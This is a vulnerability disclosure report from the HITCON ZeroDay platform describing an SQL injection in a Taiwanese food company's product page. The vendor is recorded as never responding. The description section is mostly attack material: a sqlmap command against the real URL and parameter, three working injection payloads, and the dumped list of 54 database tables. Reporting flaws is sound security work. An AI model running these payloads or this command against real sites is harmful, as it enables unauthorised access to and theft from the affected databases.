Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2017-00765
- 發信 Vendor: 詮亞股份有限公司
- Title: 詮亞股份有限公司存在SQL Injection弱點
- Introduction: 存在SQL Injection弱點
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2017/09/10 21:06:29 : 新提交 (由 傳說中的廢人 更新此狀態)
- 2017/09/11 22:52:29 : 新提交 (由 傳說中的廢人 更新此狀態)
- 2017/09/11 23:22:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/12 14:04:16 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/09/12 14:04:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/11/10 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2017-00765
- 通報者：elijiachen (傳說中的廢人)
- 風險：中
- 類型：資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
sqlmap -u "http://www.gabfood.com.tw/big5/products_2.php?category_sn=100" --tables
[*] starting at 22:48:54
[INFO] resuming back-end DBMS 'mysql'
[INFO] testing connection to the target URL
[INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap resumed the following injection point(s) from stored session:
Parameter: category_sn (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category_sn=100 AND 7585=7585
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: category_sn=100 AND (SELECT 2506 FROM(SELECT COUNT(*),CONCAT(0x7171627a71,(SELECT (ELT(2506=2506,1))),0x7162707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: category_sn=100 AND (SELECT * FROM (SELECT(SLEEP(5)))lqTW)Database: gabfood
[54 tables]
+---------------------------------------+
| apply_category_tb |
| apply_tb |
| apply_tb_bak |
| banner_tb |
| category_download_class_tb |
| category_download_tb |
| ch_apply_category_tb |
| ch_apply_tb |
| ch_apply_tb_bak |
| ch_banner_tb |
| ch_category_download_class_tb |
| ch_category_download_tb |
| ch_count_tb |
| ch_download_tb |
| ch_group_tb |
| ch_inquiry_detail_tb |
| ch_inquiry_status_tb |
| ch_inquiry_tb |
| ch_job_tb |
| ch_manager_tb |
| ch_news_tb |
| ch_product_category_tb |
| ch_product_tb |
| ch_variable_tb |
| count_tb |
| download_tb |
| en_apply_category_tb |
| en_apply_tb |
| en_apply_tb_bak |
| en_banner_tb |
| en_category_download_class_tb |
| en_category_download_tb |
| en_count_tb |
| en_download_tb |
| en_group_tb |
| en_inquiry_detail_tb |
| en_inquiry_status_tb |
| en_inquiry_tb |
| en_job_tb |
| en_manager_tb |
| en_news_tb |
| en_product_category_tb |
| en_product_tb |
| en_variable_tb |
| group_tb |
| inquiry_detail_tb |
| inquiry_status_tb |
| inquiry_tb |
| job_tb |
| manager_tb |
| news_tb |
| product_category_tb |
| product_tb |
| variable_tb |
+---------------------------------------+